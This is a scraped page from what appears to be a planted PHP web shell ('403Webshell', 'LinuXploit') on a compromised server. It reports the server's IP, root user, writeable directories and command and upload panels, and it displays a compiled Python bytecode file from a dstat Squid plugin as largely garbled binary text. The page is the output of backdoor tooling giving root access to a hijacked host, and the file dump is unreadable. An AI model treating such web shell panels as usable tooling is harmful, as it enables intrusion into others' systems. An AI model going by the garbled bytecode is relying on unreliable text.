403Webshell
Server IP : 39.108.156.168  /  Your IP : 216.73.216.104
Web Server : nginx/1.24.0
System : Linux e2.ksyuki.com 6.11.0-25-generic #25~24.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue Apr 15 17:20:50 UTC 2 x86_64
User : root ( 0)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/dstat/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/dstat/__pycache__/dstat_squid.cpython-312.pyc
�

�n`���<�ejd�aGd�de�Zy)�DSTAT_SQUID_OPTSc�"�eZdZdZd�Zd�Zd�Zy)�dstat_pluginz,
    Provides various Squid statistics.
    c�X�d|_d|_d|_d|_d|_d|_y)Nzsquid status�s�i�)z$Number of file desc currently in usezCPU Usage, 5 minute avgzTotal accountedz!Number of clients accessing cachezMean Object Size)�fdesc�cpu5�mem�clnts�objsz)�name�type�width�scale�vars�nick��selfs �/usr/share/dstat/dstat_squid.py�__init__zdstat_plugin.__init__s0��"��	���	���
���
� ��	�
��	�c��tjdtj�std��t	dt
z�y)Nz/usr/bin/squidclientzNeeds squidclient binary� /usr/bin/squidclient %s mgr:infoT)�os�access�X_OK�	Exception�cmd_test�squidclient_optionsrs r�checkzdstat_plugin.check s3���y�y�/����9��6�7�7��3�6I�I�J�rc�\�	tdtzd�D]T}|dj�|jvs�#|dj�|j|dj�<yy#t
$rW}tjdkDrt|j�d|���|jD]}d|j|<�Yd}~yd}~wt$rW}tjdkDrt|j�d|���|jD]}d|j|<�Yd}~yd}~wwxYw)Nr�:��z: lost pipe to squidclient, ���z
: exception: )�cmd_splitlinesr�stripr�val�IOError�op�debug�print�filenamer)r�l�er
s    r�extractzdstat_plugin.extract&s���
	7�#�$F�I\�$\�^a�b�
���Q�4�:�:�<�4�9�9�,�-.�q�T�Z�Z�\�D�H�H�Q�q�T�Z�Z�\�*��
���	7��x�x�!�|�U����XY�#Z�[��	�	�6��B�4�8�8�D�>�6���	7��x�x�!�|�U�$�-�-��#K�L��	�	�6��B�4�8�8�D�>�6��	7�s0�5A-�2A-�+A-�-	D+�6A
C�D+�A
D&�&D+N)�__name__�
__module__�__qualname__�__doc__rr r0�rrrrs���� �7rrN)r�getenvr�dstatrr5rr�<module>r8s#���i�i� 2�3��%7�5�%7r

Youez - 2016 - github.com/yon3zu
LinuXploit